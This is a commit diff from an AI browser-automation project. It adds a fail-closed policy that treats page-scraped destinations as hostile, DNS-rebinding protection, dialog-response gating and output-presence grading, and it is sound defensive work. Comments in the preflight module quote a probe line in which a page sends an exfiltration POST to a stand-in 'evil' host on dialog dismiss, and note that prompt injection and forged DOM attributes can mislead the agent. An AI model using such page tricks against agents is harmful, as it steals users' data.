Automate browser based workflows with AI
Python aiapiautomationbrowserbrowser-automationcomputergptllmplaywrightpowerautomatepuppeteerpythonrpaseleniumvisionworkflow
Store blank OTP run-scoping ids as NULL instead of empty strings (SKY-13060) (#7784)
Aaron Perez8cceb6ecdbce
diff --git a/docs/plans/sky-13117-run-count-axis-scale.md b/docs/plans/sky-13117-run-count-axis-scale.mdnew file mode 100644index 000000000..10609186a--- /dev/null+++ b/docs/plans/sky-13117-run-count-axis-scale.md@@ -0,0 +1,21 @@+# SKY-13117: Keep run-count axis units consistent++## Scope++- Update `skyvern-frontend/cloud/routes/analytics/components/RunStatusHeroChart.tsx`+ so every run-count tick on a rendered axis uses one shared magnitude suffix.+- Update+ `skyvern-frontend/cloud/routes/analytics/components/RunStatusHeroChart.test.tsx`+ with regression coverage for a thousands-scale axis ending at one million.++## Acceptance criteria++- A thousands-scale axis renders `250K`, `500K`, `750K`, and `1,000K`.+- A single axis never switches from `K` to `M` between ticks.+- Small run-count axes remain locale-formatted without a suffix.+- The count axis remains wide enough for the longest expected compact label.++## Verification++- Run the focused `RunStatusHeroChart` Vitest test.+- Run ESLint on the two changed frontend source files.diff --git a/skyvern/forge/agent_functions.py b/skyvern/forge/agent_functions.pyindex d076da093..ad8690968 100644--- a/skyvern/forge/agent_functions.py+++ b/skyvern/forge/agent_functions.py@@ -54,6 +54,7 @@ from skyvern.forge.sdk.trace import tracedfrom skyvern.forge.sdk.workflow.models.block import BaseTaskBlock, BlockTypeVarfrom skyvern.schemas.workflows import BlockResult, FileStorageType, FileUploadDestinationfrom skyvern.services.otp_gmail import GmailOTPVerificationContext+from skyvern.utils.url_validators import pinned_ip_clientfrom skyvern.webeye.actions.actions import Actionfrom skyvern.webeye.browser_state import BrowserStatefrom skyvern.webeye.scraper.scraped_page import ELEMENT_NODE_ATTRIBUTES, CleanupElementTreeFunc, json_to_html@@ -1827,13 +1828,17 @@ class AgentFunction:timeout_seconds: float = 30.0,organization_id: str | None = None,run_id: str | None = None,+ resolved_ips: tuple[str, ...] | None = None,) -> httpx.Response:"""Deliver a webhook POST request to *url*.Returns the upstream ``httpx.Response``. Cloud override routes NAT-orgtraffic through the egress proxy so it egresses from a static IP.++ ``resolved_ips`` pins the connection to addresses the caller already validated,+ closing the DNS-rebinding window between validation and connect."""- async with httpx.AsyncClient() as client:+ async with pinned_ip_client(resolved_ips) as client:return await client.post(url,content=payload,diff --git a/skyvern/forge/sdk/browser_action_policy.py b/skyvern/forge/sdk/browser_action_policy.pyindex 077ffef56..65bce8b83 100644--- a/skyvern/forge/sdk/browser_action_policy.py+++ b/skyvern/forge/sdk/browser_action_policy.py@@ -10,7 +10,7 @@ from __future__ import annotationsimport ipaddressimport refrom collections.abc import Iterable-from dataclasses import dataclass+from dataclasses import dataclass, replacefrom enum import StrEnumfrom urllib.parse import urlsplit@@ -95,6 +95,16 @@ class ProtectedReferenceKind(StrEnum):FILE = "file"+class TargetKind(StrEnum):+ """Where a destination fact came from: a DOM anchor, an effective form owner, an explicit page+ URL on the action model, or an open tab selected by index."""++ ANCHOR = "anchor"+ FORM = "form"+ PAGE = "page"+ TAB = "tab"++class PolicyOutcome(StrEnum):NOT_ENROLLED = "not_enrolled"ALLOWED = "allowed"@@ -107,6 +117,8 @@ class PolicyReason(StrEnum):UNKNOWN_ACTION = "unknown_action"ACTION_MODEL_MISMATCH = "action_model_mismatch"UNRESOLVABLE_TARGET = "unresolvable_target"+ INCOMPLETE_DESTINATION = "incomplete_destination"+ ELEMENT_HASH_MISMATCH = "element_hash_mismatch"MISSING_PAGE_EVIDENCE = "missing_page_evidence"STALE_PAGE_EVIDENCE = "stale_page_evidence"MISSING_PROTECTED_REFERENCE = "missing_protected_reference"@@ -131,6 +143,8 @@ REASON_PRECEDENCE: tuple[PolicyReason, ...] = (PolicyReason.UNKNOWN_ACTION,PolicyReason.ACTION_MODEL_MISMATCH,PolicyReason.UNRESOLVABLE_TARGET,+ PolicyReason.INCOMPLETE_DESTINATION,+ PolicyReason.ELEMENT_HASH_MISMATCH,PolicyReason.MISSING_PAGE_EVIDENCE,PolicyReason.STALE_PAGE_EVIDENCE,PolicyReason.MISSING_PROTECTED_REFERENCE,@@ -251,10 +265,50 @@ class ProtectedReference:return isinstance(self.kind, ProtectedReferenceKind) and bool(self.reference_id) and bool(self.owner_id)+@dataclass(frozen=True, slots=True)+class ResolvedTarget:+ """One typed destination an action would reach. ``url`` is a resolved absolute URL; whether its+ origin is usable is the decision core's question, not this record's."""++ kind: TargetKind+ url: str+ method: str | None = None+++@dataclass(frozen=True, slots=True)+class ElementDestination:+ """Scrape-time destination facts for one element: STALE, UNTRUSTED PREFLIGHT INPUT (SKY-12875).++ Captured from the page's own DOM by the scraper, so a hostile page controls every field. The+ decision core treats it as evidence about where an action would go — it can DENY on a bad+ origin or fail an identity check, and it can never complete a target or satisfy the evidence,+ verdict or authority gates. ``url=None`` means the element bears destination-carrying+ structure that did not resolve; a missing record means it bears none. Both are INCOMPLETE,+ never implicitly safe — and so is a fully resolved fact, because a page-supplied URL is not+ necessarily where the browser goes.+ """++ kind: TargetKind+ url: str | None+ method: str | None = None+++@dataclass(frozen=True, slots=True)+class ObservedElement:+ """What the accepted observation recorded for one element id: its content hash and, when the+ element bears any, its destination facts."""++ element_hash: str+ destination: ElementDestination | None = None++@dataclass(frozen=True, slots=True)class ActionTarget:- urls: tuple[str, ...] = ()+ #: ``complete=False`` is the default for every mutating projection: an unhydrated mutating+ #: action reads as unknown-destination, so forgetting to hydrate fails closed rather than open.+ resolved: tuple[ResolvedTarget, ...] = ()resolvable: bool = True+ complete: bool = True@dataclass(frozen=True, slots=True)@@ -431,17 +485,35 @@ def _required_references(action: Action, action_type: ActionType) -> frozenset[Preturn frozenset()+def _page_target(url: str) -> tuple[ResolvedTarget, ...]:+ return (ResolvedTarget(kind=TargetKind.PAGE, url=url),)++def _target(action: Action, action_type: ActionType) -> ActionTarget:if _ACTION_CLASSES.get(action_type) is ActionClass.UNRESOLVABLE:- return ActionTarget(resolvable=False)+ return ActionTarget(resolvable=False, complete=False)if isinstance(action, (GotoUrlAction, NewTabAction)):- return ActionTarget(urls=(action.url,))- if isinstance(action, DownloadFileAction) and action.download_url:- return ActionTarget(urls=(action.download_url,))- # A download carrying bytes rather than a URL has no destination to check here; confining where- # it lands is the sink's job, so an EGRESS action is not always target-checked.- if isinstance(action, (ClickAction, UploadFileAction)) and action.file_url:- return ActionTarget(urls=(action.file_url,))+ return ActionTarget(resolved=_page_target(action.url))+ if isinstance(action, DownloadFileAction):+ if action.download_url:+ return ActionTarget(resolved=_page_target(action.download_url))+ # A byte-carrying download names no destination, and opaque is never implicitly safe.+ # Confining where the bytes land remains the sink's job; classifying the unknown is ours.+ return ActionTarget(complete=False)+ if action_type is ActionType.GO_FORWARD:+ # The history destination is unknowable before execution.+ return ActionTarget(complete=False)+ action_class = _ACTION_CLASSES.get(action_type)+ if action_class is ActionClass.MUTATING:+ # Every mutating action starts unknown-destination and an element-targeted one STAYS that+ # way: scrape-time facts attach as deniable targets but never complete (see+ # hydrate_destination), so completion waits on execution-time re-verification in the+ # SKY-12881+ sinks. Element-less ones (KEYPRESS can submit a form, SOLVE_CAPTCHA and+ # VERIFICATION_CODE type into unseen elements) never complete either.+ resolved: tuple[ResolvedTarget, ...] = ()+ if isinstance(action, (ClickAction, UploadFileAction)) and action.file_url:+ resolved = _page_target(action.file_url)+ return ActionTarget(resolved=resolved, complete=False)return ActionTarget()@@ -457,7 +529,7 @@ def project_action(action: Action) -> ActionProjection:return ActionProjection(action_type=None,action_class=None,- target=ActionTarget(resolvable=False),+ target=ActionTarget(resolvable=False, complete=False),defects=(PolicyReason.UNKNOWN_ACTION,),)@@ -469,7 +541,7 @@ def project_action(action: Action) -> ActionProjection:return ActionProjection(action_type=action_type,action_class=None,- target=ActionTarget(resolvable=False),+ target=ActionTarget(resolvable=False, complete=False),defects=(PolicyReason.UNKNOWN_ACTION,),)@@ -479,7 +551,7 @@ def project_action(action: Action) -> ActionProjection:return ActionProjection(action_type=action_type,action_class=None,- target=ActionTarget(resolvable=False),+ target=ActionTarget(resolvable=False, complete=False),defects=(PolicyReason.ACTION_MODEL_MISMATCH,),)@@ -491,6 +563,79 @@ def project_action(action: Action) -> ActionProjection:)+def hydrate_destination(+ projection: ActionProjection,+ *,+ claimed_element_hash: str | None,+ observed: ObservedElement | None,+) -> ActionProjection:+ """Attach scrape-time destination facts for the action's element to its projection.++ Facts sourced in the MAIN WORLD are tamperable: hostile page code can forge or suppress them,+ so they can be false telemetry. They may DENY or NARROW a decision, but must never establish+ ALLOWED, authorization, or completeness. Completeness means the destination is KNOWN, not that+ it is safe. A model-declared URL on the action itself (a PAGE target) is the exact string the+ sink will use — genuinely known, and the origin check does the safety work on it; that holds+ even for an attacker-influenced model URL under prompt injection, because it is still exactly+ where the action goes. A page-supplied anchor or form fact is NOT necessarily where the browser+ goes at all: the page can hide ``ping`` from a patched main-world ``getAttribute`` or+ preventDefault and navigate programmatically. Facts captured from page content (ANCHOR/FORM+ kinds — the kind IS the source taxonomy) may attach as targets and feed sink evidence, but the+ projection stays destination-INCOMPLETE, and no mutating element action reaches ALLOWED until+ an enforcement sink (SKY-12881+) re-verifies the destination at execution time.++ Otherwise pure and fail-closed in every direction: a defective projection is returned+ untouched; an unobserved element or an opaque destination changes nothing; a claimed element+ hash contradicting the observation adds ELEMENT_HASH_MISMATCH and discards the facts, because+ they describe an element the action was not planned against.+ """+ if projection.defects or projection.action_class is None:+ return projection+ if observed is None:+ return projection+ if claimed_element_hash is not None and claimed_element_hash != observed.element_hash:+ return replace(+ projection,+ target=replace(projection.target, resolved=(), complete=False),+ defects=projection.defects + (PolicyReason.ELEMENT_HASH_MISMATCH,),+ )+ destination = observed.destination+ if destination is None or destination.url is None:+ return projection+ resolved = projection.target.resolved + (+ ResolvedTarget(kind=destination.kind, url=destination.url, method=destination.method),+ )+ return replace(projection, target=replace(projection.target, resolved=resolved))+++def with_resolved_target(projection: ActionProjection, target: ResolvedTarget | None) -> ActionProjection:+ """The projection with one runtime-resolved target attached, or marked incomplete when the+ caller could not resolve one. Used for tab selection, where the destination comes from the+ recorded open-tabs list rather than from element facts.++ KNOWN FALSE-COMPLETENESS (SKY-12875 F5), accepted rather than fixed: the tab record is a+ PROMPT-TIME SNAPSHOT. A tab opened, closed or navigated between the prompt and execution can+ leave the recorded URL naming something the live list no longer has at that index, so+ ``complete=True`` here means "a record spoke for this index", not "this is where the browser+ will go". Benign today — SWITCH_TAB is ungated recovery and the next step re-scrapes — and+ covered by the sink-side re-verification obligation on SKY-12881+. Do not read a TAB target as+ execution truth, and do not extend this helper to gated actions without closing that gap.++ Load-bearing enrichment invariant: the explicit ``complete=True`` keyword occurs only here, on+ the tab-record path. ``hydrate_destination`` never passes ``complete``, so page facts+ structurally cannot establish completeness; future edits must preserve that separation."""+ if projection.defects or projection.action_class is None:+ # Same guard as hydrate_destination: the field the lookup was keyed on came from a model+ # whose layout the core refused to trust, so no target may attach and nothing completes.+ return projection+ if target is None:+ return replace(projection, target=replace(projection.target, complete=False))+ return replace(+ projection,+ target=replace(projection.target, resolved=projection.target.resolved + (target,), complete=True),+ )++def _reference_reasons(required: frozenset[ProtectedReferenceKind],supplied: tuple[ProtectedReference, ...],@@ -554,6 +699,10 @@ def decide_browser_action(request: BrowserActionRequest) -> PolicyDecision:elif verdict is ObservationVerdict.UNKNOWN:reasons.add(PolicyReason.UNVERIFIED_OBSERVATION)if action_class not in _ORIGIN_UNGATED_CLASSES:+ if not projection.target.complete:+ # SKY-12875: a destination-opaque action is INCOMPLETE, never implicitly safe. Reported+ # under every authority state — completeness is knowable regardless of authority.+ reasons.add(PolicyReason.INCOMPLETE_DESTINATION)authority = request.authorityauthority_reason = _AUTHORITY_REASONS.get(authority.state)if authority.state is not AuthorityState.ESTABLISHED:@@ -564,8 +713,8 @@ def decide_browser_action(request: BrowserActionRequest) -> PolicyDecision:reachable = policy.allowed_origins & authority.originsif page_origin is not None and page_origin not in reachable:reasons.add(PolicyReason.PAGE_ORIGIN_NOT_AUTHORIZED)- for url in projection.target.urls:- target_origin = canonicalize_origin(url)+ for target in projection.target.resolved:+ target_origin = canonicalize_origin(target.url)if target_origin is None:reasons.add(PolicyReason.MISSING_TARGET_ORIGIN)elif target_origin not in reachable:diff --git a/skyvern/forge/sdk/browser_action_preflight.py b/skyvern/forge/sdk/browser_action_preflight.pyindex f5effd98c..c52e0614c 100644--- a/skyvern/forge/sdk/browser_action_preflight.py+++ b/skyvern/forge/sdk/browser_action_preflight.py@@ -23,7 +23,7 @@ exists, so a mid-run control-plane replacement cannot alter a live run's authorifrom __future__ import annotationsimport weakref-from collections.abc import Iterable+from collections.abc import Iterable, Mappingfrom dataclasses import dataclassfrom typing import TYPE_CHECKING@@ -32,20 +32,31 @@ import structlogfrom skyvern.config import settingsfrom skyvern.forge.sdk.api.crypto import calculate_sha256from skyvern.forge.sdk.browser_action_policy import (+ ActionClass,+ ActionProjection,+ ActionTarget,BrowserActionRequest,+ ElementDestination,ObservationVerdict,+ ObservedElement,PageObservation,PolicyDecision,PolicyOutcome,+ ResolvedTarget,+ TargetKind,canonicalize_origin,decide_browser_action,+ hydrate_destination,project_action,+ with_resolved_target,)from skyvern.forge.sdk.core import skyvern_context+from skyvern.webeye.actions.actions import SwitchTabActionif TYPE_CHECKING:from playwright.async_api import Page+ from skyvern.forge.sdk.core.skyvern_context import SkyvernContextfrom skyvern.webeye.actions.actions import ActionLOG = structlog.get_logger()@@ -80,12 +91,56 @@ class ObservationEpoch:``page`` is a weak reference rather than ``id(page)`` because CPython reuses ids aftercollection, and a reused id would let one tab's observation vouch for another tab's action.+ ``element_hashes`` and ``destinations`` are read-only records of what THAT scrape saw; they are+ stale, untrusted preflight input from the moment they are written (SKY-12875)."""epoch: intpage: weakref.ReferenceType[Page] | Nonemain_frame_url: strelement_digest: str+ element_hashes: Mapping[str, str]+ destinations: Mapping[str, ElementDestination]+++@dataclass(frozen=True, slots=True)+class ObservedTabs:+ """The open-tab list exactly as the planner's prompt rendered it, bound to the epoch that+ rendered it. ``SwitchTabAction.tab_index`` indexes THIS list; the live page list at execution+ time is neither consulted (``list_valid_pages`` mutates) nor trusted to agree with it."""++ epoch: int+ urls: tuple[str, ...]+++_DESTINATION_KINDS = {TargetKind.ANCHOR.value: TargetKind.ANCHOR, TargetKind.FORM.value: TargetKind.FORM}+_FORM_METHODS = frozenset({"get", "post", "dialog"})+++def _parse_destination(raw: object) -> ElementDestination | None:+ """Parse one page-controlled fact dict into the typed record, or None when it is unusable.++ A dropped record leaves the element observed-but-factless, which classifies INCOMPLETE — so+ malformed input degrades to the same fail-closed state as no input. Only the scrape-time kinds+ are accepted; PAGE and TAB targets are runtime-resolved and must not be forgeable from here.+ """+ if not isinstance(raw, dict):+ return None+ raw_kind = raw.get("kind")+ # isinstance before lookup: an unhashable page-supplied kind would make .get raise, and a+ # record that can raise here could suppress the whole epoch advance rather than just itself.+ if not isinstance(raw_kind, str):+ return None+ kind = _DESTINATION_KINDS.get(raw_kind)+ if kind is None:+ return None+ url = raw.get("url")+ if not isinstance(url, str) or not url:+ url = None+ method = raw.get("method")+ if not isinstance(method, str) or method not in _FORM_METHODS:+ method = None+ return ElementDestination(kind=kind, url=url, method=method)def policy_observation_enabled() -> bool:@@ -133,7 +188,13 @@ def _error_location(error: BaseException) -> str | None:return None-def advance_observation_epoch(page: Page, *, main_frame_url: str, element_hashes: Iterable[str]) -> None:+def advance_observation_epoch(+ page: Page,+ *,+ main_frame_url: str,+ element_hashes: Mapping[str, str],+ destinations: Mapping[str, object] | None = None,+) -> None:"""Record an accepted scrape as the run's newest observation.Called once per successful scrape, from the scrape itself rather than from its retry wrapper —@@ -146,11 +207,18 @@ def advance_observation_epoch(page: Page, *, main_frame_url: str, element_hashesif context is None:returnprevious = context.browser_observation_epoch+ parsed_destinations = {}+ for element_id, raw in (destinations or {}).items():+ destination = _parse_destination(raw)+ if destination is not None and isinstance(element_id, str) and element_id:+ parsed_destinations[element_id] = destinationcontext.browser_observation_epoch = ObservationEpoch(epoch=1 if previous is None else previous.epoch + 1,page=_page_reference(page),main_frame_url=main_frame_url,- element_digest=calculate_sha256("\n".join(sorted(element_hashes))),+ element_digest=calculate_sha256("\n".join(sorted(element_hashes.values()))),+ element_hashes=dict(element_hashes),+ destinations=parsed_destinations,)except Exception as error:# Nested guard: this handler's contract is to swallow, so nothing inside it may raise@@ -258,6 +326,77 @@ def _live_observation(action: Action, page: Page) -> PageObservation | None:)+def record_observed_tabs(urls: Iterable[str]) -> None:+ """Record the prompt's open-tab list against the current observation epoch (SKY-12875).++ Called from the one producer of the list a planned ``tab_index`` refers to. The urls are+ already-read values — nothing here touches the browser. With no epoch there is nothing the+ record could be bound to, so nothing is recorded and a later SWITCH_TAB resolves incomplete —+ never against live browser state.+ """+ if not policy_observation_enabled():+ return+ try:+ context = skyvern_context.current()+ if context is None:+ return+ epoch = context.browser_observation_epoch+ if epoch is None:+ context.browser_observed_tabs = None+ return+ context.browser_observed_tabs = ObservedTabs(+ epoch=epoch.epoch,+ urls=tuple(url for url in urls if isinstance(url, str)),+ )+ except Exception as error:+ try:+ LOG.warning(+ "Failed to record the observed open tabs",+ error_type=type(error).__name__,+ error_location=_error_location(error),+ )+ except Exception:+ pass+++def _tab_target(action: SwitchTabAction, context: SkyvernContext) -> ResolvedTarget | None:+ """The recorded destination of a tab selection, or None when no record can speak for it."""+ tabs = context.browser_observed_tabs+ if tabs is None or action.observation_epoch is None or action.observation_epoch != tabs.epoch:+ return None+ if not 0 <= action.tab_index < len(tabs.urls):+ return None+ return ResolvedTarget(kind=TargetKind.TAB, url=tabs.urls[action.tab_index])+++def _hydrated_projection(action: Action, projection: ActionProjection, context: SkyvernContext) -> ActionProjection:+ """Attach what the run's own observation records about this action's destination.++ Facts are keyed to the action's provenance: only the observation whose digest the action was+ stamped with may speak for it, so facts from a newer scrape — right element id, wrong page —+ are never attached. Absence of a usable record leaves the projection incomplete, which is the+ fail-closed default the policy core assigns every mutating action.+ """+ if isinstance(action, SwitchTabAction):+ return with_resolved_target(projection, _tab_target(action, context))+ element_id = action.element_id+ if element_id is None:+ return projection+ epoch = context.browser_observation_epoch+ if epoch is None or action.observation_epoch != epoch.epoch:+ # Content digests collide across scrapes of identical content, so the digest alone would+ # let a NEWER observation's facts speak for an older plan. Only the exact planned+ # observation may speak: epoch number for position, digest below for content.+ return projection+ if action.observation_digest is None or action.observation_digest != epoch.element_digest:+ return projection+ observed_hash = epoch.element_hashes.get(element_id)+ if observed_hash is None:+ return projection+ observed = ObservedElement(element_hash=observed_hash, destination=epoch.destinations.get(element_id))+ return hydrate_destination(projection, claimed_element_hash=action.skyvern_element_hash, observed=observed)++def preflight_action(action: Action, page: Page | None, *, site: str) -> PolicyDecision | None:"""Evaluate one proposed action against live page facts. Returns None when observation is off.@@ -274,16 +413,17 @@ def preflight_action(action: Action, page: Page | None, *, site: str) -> PolicyDif context is None:return Noneobservation = None if page is None else _live_observation(action, page)+ projection = _hydrated_projection(action, project_action(action), context)decision = decide_browser_action(BrowserActionRequest(policy=context.browser_action_policy,- projection=project_action(action),+ projection=projection,authority=context.browser_action_authority,request_epoch=action.observation_epoch if action.observation_epoch is not None else UNSTAMPED_EPOCH,evidence=observation,))- _emit(decision, action=action, observation=observation, site=site)+ _emit(decision, action=action, projection=projection, observation=observation, site=site)return decisionexcept Exception as error:# Swallowing is required — observe mode may never change execution — but silence is not.@@ -327,12 +467,136 @@ def preflight_derived_action(derived: Action, page: Page, *, parent: Action, sitreturn preflight_action(derived, page, site=site)-def _emit(decision: PolicyDecision, *, action: Action, observation: PageObservation | None, site: str) -> None:+#: THE CHOICE IS THE CAPABILITY. A page can branch on which response it gets — a real-Chromium+#: probe showed ``if (!confirm()) fetch(evil, {method:"POST"})`` firing the exfil POST+#: specifically on DISMISS — so BOTH responses to a confirm/prompt are MUTATING capabilities, and+#: so are both responses to a beforeunload (accepting commits a pending navigation, dismissing+#: cancels one). Beforeunload dismissal is listed even though no listener in this tree produces it+#: today: an unlisted pair fails OPEN by silently returning None, so the table must cover the+#: capability rather than the current caller. Alert is the one dialog with a single possible+#: response: no choice exists, so answering it decides nothing — probed in real Chromium, where a+#: page cannot distinguish accept from dismiss on an alert (its message text is untrusted content,+#: which is the verdict axis, not a response capability). The CLI+#: inspection listener (skyvern/cli/mcp_tools/inspection.py, the one other dialog listener in+#: this tree) dismisses — a capability — and is out of scope only because CLI sessions carry no+#: enrolled SkyvernContext, so this preflight no-ops there; that claim is PROBED, not argued.+_EVALUATED_DIALOG_RESPONSES = frozenset(+ {+ ("confirm", "accept"),+ ("confirm", "dismiss"),+ ("prompt", "accept"),+ ("prompt", "dismiss"),+ ("beforeunload", "accept"),+ ("beforeunload", "dismiss"),+ }+)+++def preflight_dialog_response(+ page: Page | None, *, dialog_type: str, response: str, site: str+) -> PolicyDecision | None:+ """Evaluate answering a dialog. Observe-only: the caller discards the result.++ Evidence is page-bound rather than action-bound — a dialog is not parsed from a scrape, so no+ digest provenance exists to check. What a synchronous read-only look can verify is the same+ identity subset :func:`_live_observation` checks minus the digest: the dialog's registered page+ IS the page the newest observation describes, still open, main-frame URL unchanged. Anything+ less is no evidence, which denies. The dialog's message text is untrusted page content with no+ detector verdict, so the observation stays UNKNOWN and content-gated capability denies — the+ honest answer until SKY-12526's scanner supplies dialog verdicts.+ """+ if (dialog_type, response) not in _EVALUATED_DIALOG_RESPONSES:+ return None+ if not policy_observation_enabled():+ return None+ try:+ context = skyvern_context.current()+ if context is None:+ return None+ epoch = context.browser_observation_epoch+ evidence = None+ request_epoch = UNSTAMPED_EPOCH+ if page is not None and epoch is not None:+ observed = None if epoch.page is None else epoch.page()+ # `observed is not None` first: identity comparison against an optional re-widens the+ # other operand for the type checker, and _live_observation's early-return shape is+ # what keeps the reads below provably non-None.+ if (+ observed is not None+ and observed is page+ and not observed.is_closed()+ and observed.main_frame.url == epoch.main_frame_url+ ):+ evidence = PageObservation(+ page_url=observed.url,+ observation_epoch=epoch.epoch,+ verdict=ObservationVerdict.UNKNOWN,+ )+ request_epoch = epoch.epoch+ decision = decide_browser_action(+ BrowserActionRequest(+ policy=context.browser_action_policy,+ projection=ActionProjection(+ action_type=None,+ action_class=ActionClass.MUTATING,+ # Acceptance commits to the originating page itself, so the page-origin gate IS+ # the destination check: complete, with no separate target entries.+ target=ActionTarget(),+ ),+ authority=context.browser_action_authority,+ request_epoch=request_epoch,+ evidence=evidence,+ )+ )+ if decision.outcome is not PolicyOutcome.NOT_ENROLLED:+ origin = None if evidence is None else canonicalize_origin(evidence.page_url)+ LOG.info(+ DECISION_EVENT,+ site=site,+ outcome=decision.outcome.value,+ reasons=[reason.value for reason in decision.reasons],+ dialog_type=dialog_type,+ dialog_response=response,+ page_origin=None if origin is None else origin.canonical,+ )+ return decision+ except Exception as error:+ try:+ LOG.warning(+ DECISION_EVENT,+ site=site,+ outcome=INTERNAL_ERROR_OUTCOME,+ reasons=[],+ error_type=type(error).__name__,+ error_location=_error_location(error),+ )+ except Exception:+ pass+ return None+++def _emit(+ decision: PolicyDecision,+ *,+ action: Action,+ projection: ActionProjection,+ observation: PageObservation | None,+ site: str,+) -> None:"""Log a decision. Carries stable codes and canonical origins only — never page text, full URLs(query strings carry customer data), element content or protected values."""if decision.outcome is PolicyOutcome.NOT_ENROLLED:returnorigin = None if observation is None else canonicalize_origin(observation.page_url)+ # ADR-0011's monitoring plan asks for origin-policy decisions by target canonical origin. A+ # target whose origin does not canonicalize is already reported through the reason codes.+ target_origins = sorted(+ {+ target_origin.canonical+ for target in projection.target.resolved+ if (target_origin := canonicalize_origin(target.url)) is not None+ }+ )LOG.info(DECISION_EVENT,site=site,@@ -342,4 +606,5 @@ def _emit(decision: PolicyDecision, *, action: Action, observation: PageObservataction_epoch=action.observation_epoch,observation_epoch=None if observation is None else observation.observation_epoch,page_origin=None if origin is None else origin.canonical,+ target_origins=target_origins,)diff --git a/skyvern/forge/sdk/copilot/completion_output_grounding.py b/skyvern/forge/sdk/copilot/completion_output_grounding.pyindex 593f22de2..14d0a13c3 100644--- a/skyvern/forge/sdk/copilot/completion_output_grounding.py+++ b/skyvern/forge/sdk/copilot/completion_output_grounding.py@@ -212,6 +212,40 @@ def grade_requested_output_criteria(continueif match_state == "present" and evidence_ref is not None:present_source = _evidence_source_for_ref(accepted_output_sources, evidence_ref)+ present_values = _runtime_output_path_present_values(accepted_runtime_outputs, path, projection_roots)+ emitting_label = _evidence_ref_label(evidence_ref)+ # A registered output is keyed ``<block_label>_output`` while ``failed_block_labels`` holds+ # the bare block label, so resolve the producer label before the failed-block check.+ failed_block_labels = set(snapshot.failed_block_labels)+ emitting_block_succeeded = emitting_label is not None and not (+ emitting_label in failed_block_labels or emitting_label.removesuffix("_output") in failed_block_labels+ )+ independent_evidence_satisfied = (+ effective_evidence_source != "independent_run_evidence"+ or present_source in _INDEPENDENT_EVIDENCE_SOURCES+ )+ credit_by_presence = (+ expected_shape == "value_present"+ and not judgment_grounding_bars_self_emission+ and emitting_block_succeeded+ and independent_evidence_satisfied+ and any(not _is_error_shaped_value(value) for value in present_values)+ )+ if credit_by_presence:+ # value_present verifies delivery, not an exact value: a real value present at the+ # declared path, emitted by a block that did not fail, is the verification (a missing+ # value, failed block, error-shaped value, or unmet independent-evidence bar abstains).+ verdicts.append(+ CriterionVerdict(+ criterion_id=criterion.id,+ state="satisfied",+ reason_code="requested_output_present",+ evidence_ref=evidence_ref,+ evidence_source=present_source,+ **{**trace_fields, "grounding_mode": "presence"},+ )+ )+ continueverdicts.append(CriterionVerdict(criterion_id=criterion.id,@@ -1098,6 +1132,60 @@ def _runtime_output_path_presence(return "missing", None+# A block that fails to extract a value commonly returns a not-found sentinel string rather than+# an empty value, so presence alone must not verify one for the value_present shape.+_NOT_FOUND_SENTINELS: frozenset[str] = frozenset(+ {+ "n/a",+ "n.a.",+ "na",+ "none",+ "null",+ "nil",+ "unknown",+ "not found",+ "not available",+ "not applicable",+ "no data",+ "no result",+ "no results",+ "tbd",+ "-",+ "--",+ }+)+++def _is_not_found_sentinel(value: Any) -> bool:+ return isinstance(value, str) and value.strip().casefold() in _NOT_FOUND_SENTINELS+++_ERROR_PAYLOAD_KEYS: frozenset[str] = frozenset({"error", "errors", "exception", "traceback"})+++def _is_error_shaped_value(value: Any) -> bool:+ # A value_present credit must not verify a value that reports failure: a not-found sentinel, or a+ # structured payload keyed by error/exception, is not a delivered value.+ if _is_not_found_sentinel(value):+ return True+ if isinstance(value, Mapping):+ return any(isinstance(key, str) and key.strip().casefold() in _ERROR_PAYLOAD_KEYS for key in value)+ return False+++def _runtime_output_path_present_values(+ block_outputs: Mapping[str, Any], path: str, projection_roots: set[str] | None = None+) -> list[Any]:+ parts = _path_parts(path)+ if not parts:+ return []+ for payload in block_outputs.values():+ values, _source_path = _runtime_present_path_values(payload, parts, path, projection_roots or set())+ if values:+ return values+ return []++def _runtime_path_values(payload: Any, parts: list[str], path: str, projection_roots: set[str]) -> tuple[list[Any], str]:diff --git a/skyvern/forge/sdk/copilot/completion_verification.py b/skyvern/forge/sdk/copilot/completion_verification.pyindex 4cb39ad9f..8f77a8801 100644--- a/skyvern/forge/sdk/copilot/completion_verification.py+++ b/skyvern/forge/sdk/copilot/completion_verification.py@@ -102,7 +102,9 @@ class CriterionVerdict:evidence_ref: str | None = Nonemissing_evidence: str | None = Noneoutput_path: str | None = None- grounding_mode: Literal["exact_value", "shape", "missing", "terminal_record", "judgment_boolean"] | None = None+ grounding_mode: (+ Literal["exact_value", "shape", "missing", "terminal_record", "judgment_boolean", "presence"] | None+ ) = Noneexpected_output_shape: str | None = Nonehas_exact_value: bool = Falserequested_output_evidence_source: str | None = Nonediff --git a/skyvern/forge/sdk/copilot/request_policy.py b/skyvern/forge/sdk/copilot/request_policy.pyindex d262516f9..944bb326d 100644--- a/skyvern/forge/sdk/copilot/request_policy.py+++ b/skyvern/forge/sdk/copilot/request_policy.py@@ -314,6 +314,7 @@ ExpectedOutputShape = Literal["money_amount","owner_label","goal_judgment_boolean",+ "value_present",]RequestedOutputEvidenceSource = Literal["runtime_output",@@ -2035,12 +2036,31 @@ def _omitted_request_slot_criterion()+def _canonical_mint_path(path: str) -> str:+ return path.strip().removeprefix("output.")+++def _minted_path_has_typed_child(path: str, sibling_output_paths: frozenset[str]) -> bool:+ """True when another requested-output path is nested under ``path`` (``path.x`` or+ ``path[].x``), i.e. ``path`` is a collection parent whose contract is carried by its+ typed children -- so it should floor-rekey, not mint a loose value_present criterion.+ Paths are compared canonically so a child written without the ``output.`` prefix still+ suppresses the mint."""+ parent = _canonical_mint_path(path)+ return any(+ (child := _canonical_mint_path(sibling)) != parent+ and (child.startswith(f"{parent}.") or child.startswith(f"{parent}["))+ for sibling in sibling_output_paths+ )++def _bind_criterion_to_request_slot(criterion: CompletionCriterion,*,slot: CanonicalRequestSlotV1,source_quote: str,allow_canonical_path_fallback: bool = True,+ sibling_output_paths: frozenset[str] = frozenset(),) -> CompletionCriterion:pinability = cast(Pinability, slot.pinability.value)lexical_interrogative_key = _interrogative_slot_classification_output_key(@@ -2081,7 +2101,25 @@ def _bind_criterion_to_request_slot(and _has_boolean_output_signal(criterion))degraded = degraded or malformed_shapeless_boolean or assertive_shapeless_boolean- rekeyed = degraded or pinability == "shapeless_valid"++ minted_output_path = criterion.output_path or (+ f"output.{criterion.classification_output_key}" if criterion.classification_output_key is not None else None+ )+ # A single named non-boolean run-plane value keeps its computed output_path with a+ # presence-only shape so the grounding gate can check it, without claiming an exact value.+ minted_requested_output = 